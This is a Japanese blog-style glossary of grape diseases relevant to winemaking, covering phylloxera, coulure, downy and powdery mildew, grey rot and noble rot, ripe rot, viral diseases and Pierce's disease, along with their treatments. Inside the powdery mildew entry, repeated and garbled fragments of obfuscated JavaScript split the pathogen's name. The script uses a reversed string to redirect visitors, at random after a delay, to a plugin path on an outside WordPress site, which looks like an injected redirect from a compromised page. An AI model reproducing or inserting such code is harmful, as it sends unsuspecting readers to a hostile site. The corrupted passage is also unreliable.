ワインのブドウが罹る(かかる)病気用語集
ブドウの病気と言えば、ワインの天敵として名高いフィロキセラを第一に挙げることができます。フィロキセラは、ブドウの根に付いて樹液を吸い、ブドウ樹を枯死させる(木や草が完全に枯れさせる)病虫であり、その病害を指します。19世紀後半、世界中のブドウの木が、害虫フィロキセラによって大打撃を受けた中、チリだけがフィロキセラによる害を逃れることができました。
そのため、まったくフィロキセラ犯されることのなかったチリでは、フランスから持ち込まれた苗木が現在も子孫を残しており、ほぼ無農薬でのワイン造りを行うことが可能になっています。チリワインのコストパフォーマンスが高い要因の一つになっています。
他の地域はどのように問題解決したかというと、フィロキセラは、ブドウの「根にのみ付着」するという特徴に沿った解決策を開拓します。そして、フィロキセラの耐性のあるリパリア種などの北米系種を下半分に利用し、上半分をヨーロッパ系種にするという「接木」という手法が編み出されます。
上半分のブドウをヨーロッパ系種にすることで、繊細な味わいを表現できる葡萄の実を付けることができ、ワインの品質も保たれていったのです。
このように、ワインの醸造は、ブドウの病気と表裏一体なのです。そこで、今回は、ブドウの病気における用語をピックアップしていきたいと思います。
花振い(はなぶるい)
花振い(はなぶるい)は、開花結実期に低い気温や多雨などが影響して、果房に果粒が付かない現象を言います。花が多数開花しても、着果が極めて少ないという現象です。若い木や強い剪定(枝の一部をはさみ切ること)をしたブドウ樹、ホウ酸欠乏、窒素過多なども花振いを引き起こします。
花振いで、ブドウが結実しない状態を結実不良と言います。結実しても肥大しないで房に残る状態はミルランダージュと呼ばれます。
ベト病
1878年にヨーロッパで発見されたカビによるブドウの病害です。白いカビがブドウの花や葉、果実に付着し、落果します。フランス語でミュルデュと呼ばれる病害で、病原菌名はプラズモパラ・ヴィティコラ。
ベト病の対策には、硫酸銅と生石灰と水で混合された「ボルドー液」という薬剤が使われます。ボルドー液を使うと、作物体表面に薄い皮膜ができ、外部からの病原菌の侵入を防ぐ。ボルドー液はすべて天然物で構成されているため、自然に優しい液体となっています。形式的には農薬ですが、「有機農産物の日本農林規格」において、有機農産物への使用が禁止されていません。
灰色カビ病
灰色カビ病は、ボトリティス・シネフレア菌がブドウ果に付着して、着色不良や不快な香りをブドウに付ける病害です。アロマが壊れるのはワインの醸造では致命的です。
ただし、「灰色カビ」と聞いてピンときた方もいるかもしれませんが、灰色カビ菌が一定の条件下で収穫間近の完熟ブドウに付くと、貴腐菌と呼ばれ、ブドウは貴腐果となり、深い甘口ワインの原料となります。
灰色カビを防ぐ際は、イプロジオン水和剤と呼ばれる農薬を散布します。イプロジオン水和剤は、ロブラール水和剤とも呼ばれています。
ウドンゴ病
ウドンゴ病は1850年頃にヨーロッパに伝播したブドウの病害を指します。Uncinula Necatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torと呼ばれる病原菌が生育中のブドウに付着して、葉や茎がうどん粉をかけたように白くなる症状になります。その結果、果皮の成長が妨げられます。ウドンゴ病には、アゾール系や炭酸水素カリウムなどの殺菌剤が用いられます。
遅腐病(ちふびょう)
遅腐病(ちふびょう)は、別名、晩腐病(ぱんぷ)と呼ばれ、収穫期・熟期にブドウの果実を腐食させる病害です。病原菌はGlomer-ella Cingulata。一度、病害になると、二次伝染源なる可能性があるため、菌に冒されたブドウ枝は、ブドウ園から取り除く作業が必要になります。
予防剤は、ベンレートがあります。ベンレートは、ベノミル剤とも呼ばれ、浸透移行性に優れ、予防・治療の二つの効果が期待できます。ブドウ休眠期に散布します。
遅腐病(ちふびょう)は日本でブドウに最大の被害を出した病害として有名です。
ウイルス病
ウイルスは、そのまま「生命の最小単位である細胞を持たない構造体」を意味します。ウイルスは、感染することで宿主の恒常性に影響を及ぼし、病原体としてふるまうことがあるため、毒という認識があるかと思います。
ブドウにおけるウイルス病は、約20種類のウイルスによるブドウの病気の総称を指します。リーフロール(ブドウ葉巻病)、ファンリーフ病、フレック、コーキーバーク、えそ果病などがあります。
リーフロールは、ウイルスによりブドウの葉の淵が巻かれてしまい、光合成が行われずに、ブドウの成熟が妨げる病害です。フレックは、葉が黄色になり、光合成をおこなわずにブドウの成熟が妨げられる病害です。リーフロールとフレックが合併すると、味無果と呼ばれ、味が落ちたブドウが出来上がります。味無果の発病が最も多いのは「甲州」で、収穫期の果実では、着色が不良で、糖度も健全なものより3~5度低く、食味も劣ると言われています。
コーキーバーグは、ブドウ樹がコルク樹皮のようになり、ブドウの樹木の生育状態と品質が低下する病害です
ウイルス病には、ウイルスフリーのブドウ苗や抗体のあるクローンを選抜して、対処します。
ピアス病
ピアス病は、リーフホッパー(コバイ科に分類される昆虫の総称。セミ類に近い一群で、それを微小にしたような姿をしている)の一種であるグラッシー・ウイングド・シャープシューターという虫が媒介して発生するブドウの病気です。ブドウ樹を枯死させます。
最後に
以上、ブドウの病気についての用語を分かりやすくまとめてみました。ブドウ栽培の病気を知ることで、改めてワイン造りの大変さを感じる取ることもできたのではないでしょうか?
ワインとは間違いなく自然の恵みなのです。そして、1つの洗練されたワインを造るため、長い歴史を経て、今もなお、ブドウ作りは極みの高みを目指し続けているのです。